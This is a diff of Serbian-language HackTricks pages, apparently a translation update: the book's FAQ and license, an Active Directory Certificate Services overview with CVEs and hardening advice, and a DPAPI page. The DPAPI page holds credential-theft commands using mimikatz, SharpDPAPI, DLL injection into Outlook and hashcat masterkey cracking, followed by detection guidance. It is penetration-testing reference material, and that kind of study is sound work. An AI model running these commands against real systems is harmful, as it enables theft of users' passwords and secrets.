> - Pružiti **BESPLATAN** pristup **OBRAZOVNIM hacking** resursima **SVIMA** na Internetu.
> - Hacking je o učenju, a učenje bi trebalo da bude što besplatnije.
> - Svrha ove knjige je da služi kao sveobuhvatan **obrazovni resurs**.
> - Hacking je o učenju, a učenje bi trebalo da bude što besplatnije.
> - Svrha ove knjige je da služi kao sveobuhvatan **obrazovni resurs**.
> - **POHRANITI** sjajne **hacking** tehnike koje zajednica objavljuje dajući **ORIGINALNIM** **AUTORIMA** sve **zasluge**.
> - **Ne želimo zasluge od drugih ljudi**, samo želimo da pohranimo cool trikove za sve.
> - Takođe pišemo **naša vlastita istraživanja** u HackTricks.
> - U nekoliko slučajeva ćemo samo napisati **u HackTricks sažetak važnih delova** tehnike i **podsticati čitaoca da poseti originalni post** za više detalja.
> - **Ne želimo zasluge od drugih ljudi**, samo želimo da pohranimo cool trikove za sve.
> - Takođe pišemo **naša vlastita istraživanja** u HackTricks.
> - U nekoliko slučajeva ćemo samo napisati **u HackTricks sažetak važnih delova** tehnike i **podsticati čitaoca da poseti originalni post** za više detalja.
> - **ORGANIZOVATI** sve hacking tehnike u knjizi kako bi bile **PRISTUPAČNIJE**
> - HackTricks tim je posvetio hiljade sati besplatno **samo da organizuje sadržaj** kako bi ljudi mogli **brže učiti**
> - HackTricks tim je posvetio hiljade sati besplatno **samo da organizuje sadržaj** kako bi ljudi mogli **brže učiti**
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
@ -48,10 +48,10 @@ Da, možete, ali **ne zaboravite da pomenete specifičan link(ove)** sa kojih je
> [!TIP]
>
> - **Kako mogu citirati stranicu HackTricks?**
> - **Kako mogu stranicu HackTricks?**
Sve dok se link **stranice** sa koje ste uzeli informacije pojavljuje, to je dovoljno.\
Ako vam treba bibtex, možete koristiti nešto poput:
Ako vam je potreban bibtex, možete koristiti nešto poput:
```latex
@misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick},
@ -72,19 +72,19 @@ Ako se plašite da će nestati, jednostavno ga fork-ujte na Github-u ili preuzmi
>
> - **Zašto imate sponzore? Da li su HackTricks knjige za komercijalne svrhe?**
Prva **HackTricks** **vrednost** je da ponudi **BESPLATNE** obrazovne resurse za **SVE** na svetu. HackTricks tim je **posvetio hiljade sati** da ponudi ovaj sadržaj, ponovo, **BESPLATNO**.
Prva **HackTricks** **vrednost** je da ponudi **BESPLATNE** obrazovne resurse za hakovanje **SVETU**. HackTricks tim je **posvetio hiljade sati** da ponudi ovaj sadržaj, ponovo, **BESPLATNO**.
Ako mislite da su HackTricks knjige napravljene za **komercijalne svrhe**, **POTPUNO STE U GREŠCI**.
Imamo sponzore jer, iako je sav sadržaj BESPLATAN, želimo da **ponudimo zajednici mogućnost da ceni naš rad** ako to žele. Stoga, nudimo ljudima opciju da doniraju HackTricks putem [**Github sponzora**](https://github.com/sponsors/carlospolop), i **relevantne kompanije za sajber bezbednost** da sponzorišu HackTricks i da **imaju neke oglase** u knjizi, pri čemu su **oglasi** uvek postavljeni na mestima gde ih čine **vidljivim**, ali **ne ometaju proces učenja** ako se neko fokusira na sadržaj.
Imamo sponzore jer, iako je sav sadržaj BESPLATAN, želimo da **ponudimo zajednici mogućnost da ceni naš rad** ako to žele. Stoga, nudimo ljudima opciju da doniraju HackTricks putem [**Github sponzora**](https://github.com/sponsors/carlospolop), i **relevantnim kompanijama za sajber bezbednost** da sponzorišu HackTricks i da **imaju neke oglase** u knjizi, pri čemu su **oglasi** uvek postavljeni na mestima gde ih čine **vidljivim**, ali **ne ometaju proces učenja** ako se neko fokusira na sadržaj.
Nećete naći HackTricks ispunjen dosadnim oglasima kao druge blogove sa mnogo manje sadržaja od HackTricks, jer HackTricks nije napravljen za komercijalne svrhe.
> [!CAUTION]
>
> - **Šta da radim ako neka HackTricks stranica se zasniva na mom blog postu, ali nije referencirana?**
> - **Šta da radim ako neka HackTricks stranica zasniva na mom blog postu, ali nije referencirana?**
**Veoma nam je žao. Ovo se nije smelo desiti**. Molimo vas, obavestite nas putem Github problema, Twitter-a, Discord-a... linka HackTricks stranice sa sadržajem i linka vašeg bloga i **proverićemo to i dodati ASAP**.
**Veoma nam je žao. Ovo se nije smelo desiti**. Molimo vas, javite nam putem Github problema, Twitter-a, Discord-a... link HackTricks stranice sa sadržajem i link vašeg bloga i **proverićemo to i dodati ASAP**.
> [!CAUTION]
>
@ -93,7 +93,7 @@ Nećete naći HackTricks ispunjen dosadnim oglasima kao druge blogove sa mnogo m
Imajte na umu da linkovi ka vašoj stranici u HackTricks:
- Poboljšavaju vaš **SEO**
- Sadržaj se **prevodi na više od 15 jezika**, što omogućava više ljudi da pristupe ovom sadržaju
- Sadržaj se **prevodi na više od 15 jezika**, omogućavajući više ljudi da pristupe ovom sadržaju
- **HackTricks podstiče** ljude da **provere vašu stranicu** (nekoliko ljudi nam je pomenulo da od kada je neka njihova stranica u HackTricks-u, primaju više poseta)
Međutim, ako i dalje želite da se sadržaj vašeg bloga ukloni iz HackTricks-a, samo nas obavestite i definitivno ćemo **ukloniti svaki link ka vašem blogu**, i bilo koji sadržaj zasnovan na njemu.
@ -102,7 +102,7 @@ Međutim, ako i dalje želite da se sadržaj vašeg bloga ukloni iz HackTricks-a
>
> - **Šta da radim ako pronađem sadržaj koji je kopiran u HackTricks?**
Uvek **damo originalnim autorima sve zasluge**. Ako pronađete stranicu sa kopiranim sadržajem bez referencirane originalne izvora, obavestite nas i mi ćemo ili **ukloniti to**, **dodati link pre teksta**, ili **prepisati to dodajući link**.
Uvek **damo originalnim autorima sve zasluge**. Ako pronađete stranicu sa kopiranim sadržajem bez referencirane originalne izvora, javite nam i mi ćemo ili **ukloniti**, **dodati link pre teksta**, ili **prepisati dodajući link**.
## LICENSE
@ -112,31 +112,31 @@ Copyright © Sva prava zadržana osim ako nije drugačije navedeno.
- Attribution: Slobodni ste da:
- Share — kopirate i redistribuirate materijal u bilo kom mediju ili formatu.
- Adapt — remiksujete, transformišete i gradite na materijalu.
- Adapt — remiksirate, transformišete i gradite na materijalu.
#### Additional Terms:
- Third-Party Content: Neki delovi ovog bloga/knjige mogu uključivati sadržaj iz drugih izvora, kao što su odlomci iz drugih blogova ili publikacija. Korišćenje takvog sadržaja se vrši prema principima poštene upotrebe ili uz izričitu dozvolu od strane odgovarajućih nosilaca autorskih prava. Molimo vas da se obratite originalnim izvorima za specifične informacije o licenciranju u vezi sa sadržajem trećih strana.
- Authorship: Originalni sadržaj koji je napisao HackTricks podložan je uslovima ove licence. Podstiče se da se ovaj rad pripisuje autoru prilikom deljenja ili prilagođavanja.
- Authorship: Originalni sadržaj koji je napisao HackTricks podložan je uslovima ove licence. Podstičemo vas da pripišete ovo delo autoru kada ga delite ili prilagođavate.
#### Exemptions:
- Commercial Use: Za upite u vezi sa komercijalnom upotrebom ovog sadržaja, molimo kontaktirajte me.
Ova licenca ne dodeljuje nikakva prava na zaštitni znak ili brendiranje u vezi sa sadržajem. Svi zaštitni znakovi i brendiranje prikazani u ovom blogu/knjizi su svojina njihovih odgovarajućih vlasnika.
Ova licenca ne dodeljuje nikakva prava na zaštitni znak ili brendiranje u vezi sa sadržajem. Svi zaštitni znakovi i brendiranje prikazani u ovom blogu/knjizi su vlasništvo njihovih odgovarajućih vlasnika.
**Pristupanjem ili korišćenjem HackTricks-a, slažete se da poštujete uslove ove licence. Ako se ne slažete sa ovim uslovima, molimo vas, ne pristupajte ovoj veb stranici.**
## **Disclaimer**
> [!CAUTION]
> Ova knjiga, 'HackTricks,' je namenjena isključivo obrazovnim i informativnim svrhama. Sadržaj unutar ove knjige je dostupan na 'kako jeste' osnovi, a autori i izdavači ne daju nikakve izjave ili garancije bilo koje vrste, izričite ili implicirane, o potpunosti, tačnosti, pouzdanosti, pogodnosti ili dostupnosti informacija, proizvoda, usluga ili povezanih grafika sadržanih unutar ove knjige. Svako oslanjanje koje stavite na takve informacije je stoga strogo na vašem vlastitom riziku.
> Ova knjiga, 'HackTricks,' je namenjena isključivo obrazovnim i informativnim svrhama. Sadržaj unutar ove knjige je dostupan na osnovu 'kako jeste', i autori i izdavači ne daju nikakve izjave ili garancije bilo koje vrste, izričite ili implicirane, o potpunosti, tačnosti, pouzdanosti, pogodnosti ili dostupnosti informacija, proizvoda, usluga ili povezanih grafika sadržanih unutar ove knjige. Svako oslanjanje na takve informacije je stoga strogo na vaš sopstveni rizik.
>
> Autori i izdavači neće u nijednom slučaju biti odgovorni za bilo kakav gubitak ili štetu, uključujući, bez ograničenja, indirektne ili posledične gubitke ili štete, ili bilo kakav gubitak ili štetu koja proizađe iz gubitka podataka ili profita proizašlih iz, ili u vezi sa, korišćenjem ove knjige.
> Autori i izdavači u nijednom slučaju neće biti odgovorni za bilo kakav gubitak ili štetu, uključujući, bez ograničenja, indirektne ili posledične gubitke ili štete, ili bilo kakav gubitak ili štetu koja proizađe iz gubitka podataka ili profita koji proizađu iz, ili u vezi sa, korišćenjem ove knjige.
>
> Štaviše, tehnike i saveti opisani u ovoj knjizi su dati isključivo u obrazovne i informativne svrhe i ne bi trebali biti korišćeni za bilo kakve ilegalne ili zlonamerne aktivnosti. Autori i izdavači ne odobravaju niti podržavaju bilo kakve ilegalne ili neetičke aktivnosti, a svaka upotreba informacija sadržanih unutar ove knjige je na korisnikov vlastiti rizik i diskreciju.
> Štaviše, tehnike i saveti opisani u ovoj knjizi su pruženi isključivo u obrazovne i informativne svrhe, i ne bi trebali biti korišćeni za bilo kakve ilegalne ili zlonamerne aktivnosti. Autori i izdavači ne odobravaju niti podržavaju bilo kakve ilegalne ili neetičke aktivnosti, i svaka upotreba informacija sadržanih unutar ove knjige je na korisnikov sopstveni rizik i diskreciju.
>
> Korisnik je isključivo odgovoran za bilo kakve radnje preduzete na osnovu informacija sadržanih unutar ove knjige i uvek bi trebao potražiti profesionalni savet i pomoć prilikom pokušaja implementacije bilo koje od tehnika ili saveta opisanih ovde.
> Korisnik je isključivo odgovoran za bilo kakve radnje preduzete na osnovu informacija sadržanih unutar ove knjige, i uvek bi trebao potražiti profesionalni savet i pomoć prilikom pokušaja implementacije bilo koje od tehnika ili saveta opisanih ovde.
>
> Korišćenjem ove knjige, korisnik se slaže da oslobodi autore i izdavače od bilo kakve i svake odgovornosti za bilo kakve štete, gubitke ili povrede koje mogu proizaći iz korišćenja ove knjige ili bilo koje od informacija sadržanih u njoj.

View File

@ -15,11 +15,11 @@
- **Osnovna ograničenja** identifikuju da li je sertifikat za CA ili krajnji entitet i definišu ograničenja korišćenja.
- **Proširene svrhe korišćenja ključeva (EKUs)** razdvajaju specifične svrhe sertifikata, kao što su potpisivanje koda ili enkripcija e-pošte, putem Identifikatora objekta (OIDs).
- **Algoritam potpisa** specificira metodu za potpisivanje sertifikata.
- **Potpis**, kreiran sa privatnim ključem izdavača, garantuje autentičnost sertifikata.
- **Potpis**, kreiran sa privatnim ključem izdavaoca, garantuje autentičnost sertifikata.
### Special Considerations
- **Alternativna imena subjekta (SANs)** proširuju primenljivost sertifikata na više identiteta, što je ključno za servere sa više domena. Sigurni procesi izdavanja su vitalni kako bi se izbegli rizici od impersonacije od strane napadača koji manipulišu SAN specifikacijom.
- **Alternativna imena subjekta (SANs)** proširuju primenljivost sertifikata na više identiteta, što je ključno za servere sa više domena. Sigurni procesi izdavanja su od vitalnog značaja kako bi se izbegli rizici od impersonacije od strane napadača koji manipulišu SAN specifikacijom.
### Certificate Authorities (CAs) in Active Directory (AD)
@ -39,13 +39,13 @@ AD CS priznaje CA sertifikate u AD šumi kroz određene kontejnere, od kojih sva
### Certificate Templates
Definisani unutar AD, ovi šabloni opisuju podešavanja i dozvole za izdavanje sertifikata, uključujući dozvoljene EKUs i prava na upis ili modifikaciju, što je ključno za upravljanje pristupom uslugama sertifikata.
Definisani unutar AD, ovi šabloni opisuju postavke i dozvole za izdavanje sertifikata, uključujući dozvoljene EKUs i prava na upis ili modifikaciju, što je ključno za upravljanje pristupom uslugama sertifikata.
## Certificate Enrollment
Proces upisa sertifikata pokreće administrator koji **kreira šablon sertifikata**, koji zatim **objavljuje** Enterprise Sertifikaciona vlast (CA). Ovo čini šablon dostupnim za upis klijenata, što se postiže dodavanjem imena šablona u polje `certificatetemplates` objekta Active Directory.
Da bi klijent zatražio sertifikat, **prava na upis** moraju biti dodeljena. Ova prava definišu se sigurnosnim descriptorima na šablonu sertifikata i samoj Enterprise CA. Dozvole moraju biti dodeljene na oba mesta kako bi zahtev bio uspešan.
Da bi klijent zatražio sertifikat, **prava na upis** moraju biti dodeljena. Ova prava definišu se sigurnosnim deskriptorima na šablonu sertifikata i samoj Enterprise CA. Dozvole moraju biti dodeljene na oba mesta kako bi zahtev bio uspešan.
### Template Enrollment Rights
@ -53,11 +53,11 @@ Ova prava su specificirana kroz Unose kontrole pristupa (ACE), detaljno opisuju
- **Prava na upis sertifikata** i **Automatski upis sertifikata**, svako povezano sa specifičnim GUID-ovima.
- **Proširena prava**, omogućavajući sve proširene dozvole.
- **Potpuna kontrola/GenericAll**, pružajući potpunu kontrolu nad šablonom.
- **Potpuna kontrola/Generički svi**, pružajući potpunu kontrolu nad šablonom.
### Enterprise CA Enrollment Rights
Prava CA su opisana u njegovom sigurnosnom descriptoru, dostupnom putem konzole za upravljanje Sertifikacionom vlasti. Neka podešavanja čak omogućavaju korisnicima sa niskim privilegijama daljinski pristup, što može biti bezbednosna zabrinutost.
Prava CA su opisana u njegovom sigurnosnom deskriptoru, dostupnom putem konzole za upravljanje Sertifikacionom vlasti. Neka podešavanja čak omogućavaju korisnicima sa niskim privilegijama daljinski pristup, što može biti bezbednosna briga.
### Additional Issuance Controls
@ -68,7 +68,7 @@ Određene kontrole mogu se primeniti, kao što su:
### Methods to Request Certificates
Sertifikate je moguće zatražiti putem:
Sertifikati se mogu zatražiti putem:
1. **Protokola za upis sertifikata Windows klijenta** (MS-WCCE), koristeći DCOM interfejse.
2. **ICertPassage Remote Protocol** (MS-ICPR), putem imenovanih cevi ili TCP/IP.
@ -124,28 +124,28 @@ certutil -v -dstemplate
| Godina | ID / Ime | Uticaj | Ključne informacije |
|--------|----------|--------|---------------------|
| 2022 | **CVE-2022-26923** “Certifried” / ESC6 | *Povećanje privilegija* lažiranjem sertifikata mašinskog naloga tokom PKINIT-a. | Zakrpa je uključena u **bezbednosna ažuriranja od 10. maja 2022**. Uvedene su kontrole revizije i jakog mapiranja putem **KB5014754**; okruženja bi sada trebala biti u *Potpunoj primeni* modu. citeturn2search0 |
| 2023 | **CVE-2023-35350 / 35351** | *Daljinsko izvršavanje koda* u AD CS Web Enrollment (certsrv) i CES rolama. | Javne PoC-ove su ograničene, ali su ranjivi IIS komponenti često izloženi interno. Zakrpa od **jula 2023** Patch Tuesday. citeturn3search0 |
| 2024 | **CVE-2024-49019** “EKUwu” / ESC15 | Korisnici sa niskim privilegijama koji imaju prava na upis mogli su da prevaziđu **bilo koji** EKU ili SAN tokom generisanja CSR-a, izdajući sertifikate koji se mogu koristiti za autentifikaciju klijenata ili potpisivanje koda, što dovodi do *kompromitacije domena*. | Rešeno u **aprilskim ažuriranjima 2024**. Uklonite “Supply in the request” iz šablona i ograničite prava na upis. citeturn1search3 |
| 2022 | **CVE-2022-26923** “Certifried” / ESC6 | *Povećanje privilegija* lažiranjem sertifikata mašinskog naloga tokom PKINIT-a. | Zakrpa je uključena u **bezbednosna ažuriranja od 10. maja 2022**. Uvedene su kontrole revizije i jakog mapiranja putem **KB5014754**; okruženja bi sada trebala biti u *Potpunoj primeni* režimu. |
| 2023 | **CVE-2023-35350 / 35351** | *Daljinsko izvršavanje koda* u AD CS Web Enrollment (certsrv) i CES rolama. | Javne PoC-ove su ograničene, ali su ranjivi IIS komponenti često izloženi interno. Zakrpa od **jula 2023** Patch Tuesday. |
| 2024 | **CVE-2024-49019** “EKUwu” / ESC15 | Korisnici sa niskim privilegijama koji imaju prava na upis mogli su da prevaziđu **bilo koji** EKU ili SAN tokom generisanja CSR-a, izdajući sertifikate koji se mogu koristiti za autentifikaciju klijenata ili potpisivanje koda, što dovodi do *kompromitovanja domena*. | Rešeno u **aprilskim 2024** ažuriranjima. Uklonite “Supply in the request” iz šablona i ograničite prava na upis. |
### Microsoftova vremenska linija za učvršćivanje (KB5014754)
### Microsoftova vremenska linija jačanja (KB5014754)
Microsoft je uveo trofazno uvođenje (Kompatibilnost → Revizija → Primena) kako bi prešao sa Kerberos sertifikatske autentifikacije sa slabih implicitnih mapiranja. Od **11. februara 2025**, kontroleri domena automatski prelaze na **Potpunu primenu** ako registry vrednost `StrongCertificateBindingEnforcement` nije postavljena. Administratori bi trebali:
1. Zakrpiti sve DC-ove i AD CS servere (maj 2022. ili kasnije).
2. Pratiti Event ID 39/41 za slaba mapiranja tokom *Revizije* faze.
3. Ponovo izdati sertifikate za autentifikaciju klijenata sa novim **SID ekstenzijom** ili konfigurisati jaka ručna mapiranja pre februara 2025. citeturn2search0
2. Pratiti Event ID 39/41 za slaba mapiranja tokom *Revizije*.
3. Ponovo izdati sertifikate za autentifikaciju klijenata sa novim **SID ekstenzijom** ili konfigurisati jaka ručna mapiranja pre februara 2025.
---
## Poboljšanja detekcije i učvršćivanja
## Poboljšanja detekcije i jačanja
* **Defender for Identity AD CS senzor (2023-2024)** sada prikazuje procene stanja za ESC1-ESC8/ESC11 i generiše upozorenja u realnom vremenu kao što su *“Izdavanje sertifikata kontrolera domena za ne-DC”* (ESC8) i *“Spriječiti upis sertifikata sa proizvoljnim aplikacionim politikama”* (ESC15). Osigurajte da su senzori raspoređeni na sve AD CS servere kako biste imali koristi od ovih detekcija. citeturn5search0
* **Defender for Identity AD CS senzor (2023-2024)** sada prikazuje procene stanja za ESC1-ESC8/ESC11 i generiše real-time upozorenja kao što su *“Izdavanje sertifikata kontrolera domena za ne-DC”* (ESC8) i *“Spriječiti upis sertifikata sa proizvoljnim aplikacionim politikama”* (ESC15). Osigurajte da su senzori raspoređeni na sve AD CS servere kako biste imali koristi od ovih detekcija.
* Onemogućite ili strogo ograničite opciju **“Supply in the request”** na svim šablonima; preferirajte eksplicitno definisane SAN/EKU vrednosti.
* Uklonite **Any Purpose** ili **No EKU** iz šablona osim ako nije apsolutno neophodno (rešava ESC2 scenarije).
* Zahtevajte **odobrenje menadžera** ili posvećene tokove rada za upis agenata za osetljive šablone (npr. WebServer / CodeSigning).
* Zahtevajte **odobrenje menadžera** ili posvećene tokove rada za upis agenata za osetljive šablone (npr., WebServer / CodeSigning).
* Ograničite web upis (`certsrv`) i CES/NDES krajnje tačke na pouzdane mreže ili iza autentifikacije klijent-sertifikata.
* Primorajte enkripciju upisa RPC-a (`certutil setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQ`) kako biste ublažili ESC11.
* Sprovodite enkripciju upisa RPC-a (`certutil setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQ`) kako biste ublažili ESC11.
---

View File

@ -8,15 +8,15 @@
Data Protection API (DPAPI) se prvenstveno koristi unutar Windows operativnog sistema za **simetričnu enkripciju asimetričnih privatnih ključeva**, koristeći ili korisničke ili sistemske tajne kao značajan izvor entropije. Ovaj pristup pojednostavljuje enkripciju za programere omogućavajući im da enkriptuju podatke koristeći ključ izveden iz korisničkih lozinki ili, za sistemsku enkripciju, tajne autentifikacije domena sistema, čime se eliminiše potreba da programeri sami upravljaju zaštitom ključa za enkripciju.
Najčešći način korišćenja DPAPI je kroz **`CryptProtectData` i `CryptUnprotectData`** funkcije, koje omogućavaju aplikacijama da sigurno enkriptuju i dekriptuju podatke sa sesijom procesa koji je trenutno prijavljen. To znači da se enkriptovani podaci mogu dekriptuju samo od strane istog korisnika ili sistema koji ih je enkriptovao.
Najčešći način korišćenja DPAPI je kroz **`CryptProtectData` i `CryptUnprotectData`** funkcije, koje omogućavaju aplikacijama da sigurno enkriptuju i dekriptuju podatke sa sesijom procesa koji je trenutno prijavljen. To znači da se enkriptovani podaci mogu dekripovati samo od strane istog korisnika ili sistema koji ih je enkriptovao.
Pored toga, ove funkcije takođe prihvataju **`entropy` parametar** koji će takođe biti korišćen tokom enkripcije i dekripcije, stoga, da biste dekripovali nešto što je enkriptovano koristeći ovaj parametar, morate pružiti istu vrednost entropije koja je korišćena tokom enkripcije.
Pored toga, ove funkcije takođe prihvataju **`entropy` parametar** koji će se koristiti tokom enkripcije i dekripcije, stoga, da biste dekripovali nešto što je enkriptovano koristeći ovaj parametar, morate pružiti istu vrednost entropije koja je korišćena tokom enkripcije.
### Generisanje ključeva za korisnike
DPAPI generiše jedinstveni ključ (nazvan **`pre-key`**) za svakog korisnika na osnovu njihovih kredencijala. Ovaj ključ se izvodi iz korisničke lozinke i drugih faktora, a algoritam zavisi od tipa korisnika, ali na kraju se koristi SHA1. Na primer, za korisnike domena, **zavisi od HTLM haša korisnika**.
DPAPI generiše jedinstveni ključ (nazvan **`pre-key`**) za svakog korisnika na osnovu njihovih kredencijala. Ovaj ključ se izvodi iz korisničke lozinke i drugih faktora, a algoritam zavisi od tipa korisnika, ali na kraju se koristi SHA1. Na primer, za korisnike domena, **zavisi od HTLM heša korisnika**.
Ovo je posebno zanimljivo jer ako napadač može da dobije haš lozinke korisnika, može:
Ovo je posebno zanimljivo jer ako napadač može da dobije heš lozinke korisnika, može:
- **Dekriptovati bilo koje podatke koji su enkriptovani koristeći DPAPI** sa tim korisničkim ključem bez potrebe da kontaktira bilo koji API
- Pokušati da **provali lozinku** van mreže pokušavajući da generiše validan DPAPI ključ
@ -67,7 +67,7 @@ Među ličnim podacima zaštićenim od strane DPAPI su:
- Enkriptovani blobovi unutar registra
- ...
Podaci zaštićeni od strane sistema uključuju:
Podaci zaštićeni sistemom uključuju:
- Wifi lozinke
- Lozinke za zakazane zadatke
- ...
@ -120,7 +120,7 @@ mimikatz vault::list
### Pronađite DPAPI Enkriptovane podatke
Uobičajeni **zaštićeni fajlovi** korisnika se nalaze u:
Uobičajeni korisnički **zaštićeni fajlovi** se nalaze u:
- `C:\Users\username\AppData\Roaming\Microsoft\Protect\*`
- `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*`
@ -162,7 +162,7 @@ SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect
# Decrypt machine data
SharpDPAPI.exe machinetriage
```
- **Dobijte informacije o akreditivima** kao što su enkriptovani podaci i guidMasterKey.
- **Dobijte informacije o kredencijalima** kao što su enkriptovani podaci i guidMasterKey.
```bash
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
@ -182,7 +182,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
```
Alat **SharpDPAPI** takođe podržava ove argumente za dekripciju masterključa (obratite pažnju na to kako je moguće koristiti `/rpc` za dobijanje rezervnog ključa domena, `/password` za korišćenje lozinke u običnom tekstu, ili `/pvk` za određivanje DPAPI domena privatnog ključa...)
Alat **SharpDPAPI** takođe podržava ove argumente za dekripciju masterključa (obratite pažnju na to kako je moguće koristiti `/rpc` za dobijanje rezervnog ključa domena, `/password` za korišćenje lozinke u običnom tekstu, ili `/pvk` za specificiranje DPAPI domena privatnog ključa...):
```
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
@ -202,7 +202,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
# SharpDPAPI
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
```
Alat **SharpDPAPI** takođe podržava ove argumente za dekripciju `credentials|vaults|rdg|keepass|triage|blob|ps` (obratite pažnju na to kako je moguće koristiti `/rpc` za dobijanje rezervne ključeve domena, `/password` za korišćenje plaintext lozinke, `/pvk` za specifikaciju DPAPI domen privatnog ključa, `/unprotect` za korišćenje trenutne sesije korisnika...):
Alat **SharpDPAPI** takođe podržava ove argumente za dekripciju `credentials|vaults|rdg|keepass|triage|blob|ps` (obratite pažnju na to kako je moguće koristiti `/rpc` za dobijanje rezervne ključeve domena, `/password` za korišćenje lozinke u običnom tekstu, `/pvk` za specificiranje DPAPI domen privatnog ključa, `/unprotect` za korišćenje trenutne sesije korisnika...):
```
Decryption:
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
@ -230,11 +230,11 @@ dpapi::blob /in:C:\path\to\encrypted\file /unprotect
SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
```
---
### Rukovanje Opcionalnom Entropijom ("Entropija treće strane")
### Rukovanje opcionalnom entropijom ("Entropija treće strane")
Neke aplikacije prosleđuju dodatnu **entropiju** funkciji `CryptProtectData`. Bez ove vrednosti, blob ne može biti dekriptovan, čak i ako je poznat ispravan masterkey. Stoga je dobijanje entropije od suštinskog značaja kada se cilja na kredencijale zaštićene na ovaj način (npr. Microsoft Outlook, neki VPN klijenti).
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) je DLL u režimu korisnika koji hvata DPAPI funkcije unutar ciljnog procesa i transparentno beleži svaku opcionalnu entropiju koja se prosledi. Pokretanje EntropyCapture u režimu **DLL-injection** protiv procesa kao što su `outlook.exe` ili `vpnclient.exe` će generisati datoteku koja mapira svaki entropijski bafer na pozivajući proces i blob. Uhvaćena entropija se kasnije može proslediti **SharpDPAPI** (`/entropy:`) ili **Mimikatz** (`/entropy:<file>`) kako bi se dekriptovali podaci. citeturn5search0
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) je DLL u korisničkom režimu koji hvata DPAPI funkcije unutar ciljnog procesa i transparentno beleži svaku opcionalnu entropiju koja se prosledi. Pokretanje EntropyCapture u režimu **DLL-injection** protiv procesa kao što su `outlook.exe` ili `vpnclient.exe` će generisati datoteku koja mapira svaki entropijski bafer na pozivajući proces i blob. Uhvaćena entropija se kasnije može proslediti **SharpDPAPI** (`/entropy:`) ili **Mimikatz** (`/entropy:<file>`) kako bi se dekriptovali podaci.
```powershell
# Inject EntropyCapture into the current user's Outlook
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
@ -244,7 +244,7 @@ SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
```
### Cracking masterkeys offline (Hashcat & DPAPISnoop)
Microsoft je uveo **context 3** format masterkey-a počevši od Windows 10 v1607 (2016). `hashcat` v6.2.6 (decembar 2023) je dodao hash-mode-e **22100** (DPAPI masterkey v1 context), **22101** (context 1) i **22102** (context 3) omogućavajući GPU-akcelerirano razbijanje korisničkih lozinki direktno iz masterkey datoteke. Napadači mogu stoga izvesti napade sa rečnicima ili brute-force napade bez interakcije sa ciljnim sistemom. citeturn8search1
Microsoft je uveo **context 3** format masterkey-a počevši od Windows 10 v1607 (2016). `hashcat` v6.2.6 (decembar 2023) je dodao hash-mode-e **22100** (DPAPI masterkey v1 context), **22101** (context 1) i **22102** (context 3) koji omogućavaju GPU-accelerated cracking korisničkih lozinki direktno iz masterkey datoteke. Napadači mogu stoga izvesti napade sa rečnicima ili brute-force napade bez interakcije sa ciljnim sistemom.
`DPAPISnoop` (2024) automatizuje proces:
```bash
@ -254,7 +254,7 @@ hashcat -m 22102 bob.hc wordlist.txt -O -w4
```
Alat takođe može da analizira Credential i Vault blobove, dekriptuje ih sa otkrivenim ključevima i izvozi lozinke u čistom tekstu.
### Pristup podacima sa drugih mašina
### Pristup podacima sa druge mašine
U **SharpDPAPI i SharpChrome** možete da navedete opciju **`/server:HOST`** da biste pristupili podacima sa udaljene mašine. Naravno, morate biti u mogućnosti da pristupite toj mašini i u sledećem primeru se pretpostavlja da je **ključ za enkripciju rezervne domene poznat**:
```bash
@ -276,39 +276,39 @@ Sa listom računara iz LDAP-a možete pronaći svaku podmrežu čak i ako ih nis
[**DonPAPI**](https://github.com/login-securite/DonPAPI) može automatski dumpovati tajne zaštićene DPAPI-jem. Verzija 2.x je uvela:
* Paralelnu kolekciju blobova sa stotina hostova
* Parsiranje **context 3** masterkeys i automatsku integraciju Hashcat-a
* Parsiranje **context 3** masterključeva i automatsku integraciju Hashcat krakenja
* Podršku za "App-Bound" enkriptovane kolačiće u Chrome-u (vidi sledeći odeljak)
* Novi **`--snapshot`** režim za ponovnu proveru krajnjih tačaka i razliku novokreiranih blobova citeturn1search2
* Novi **`--snapshot`** režim za ponovnu proveru krajnjih tačaka i razliku novokreiranih blobova
### DPAPISnoop
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) je C# parser za masterkey/credential/vault datoteke koji može da izveze Hashcat/JtR formate i opcionalno automatski pokrene dekripciju. Potpuno podržava formate masterkey-a za mašine i korisnike do Windows 11 24H1. citeturn2search0
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) je C# parser za masterkey/credential/vault datoteke koji može da izveze Hashcat/JtR formate i po želji automatski pokrene krakenje. Potpuno podržava formate masterključeva za mašine i korisnike do Windows 11 24H1.
## Uobičajene detekcije
- Pristup datotekama u `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` i drugim DPAPI povezanim direktorijumima.
- Posebno sa mrežne deljene mape kao što su **C$** ili **ADMIN$**.
- Korišćenje **Mimikatz**, **SharpDPAPI** ili sličnih alata za pristup LSASS memoriji ili dumpovanje masterkeys.
- Korišćenje **Mimikatz**, **SharpDPAPI** ili sličnih alata za pristup LSASS memoriji ili dumpovanje masterključeva.
- Događaj **4662**: *Operacija je izvršena na objektu* može se korelirati sa pristupom **`BCKUPKEY`** objektu.
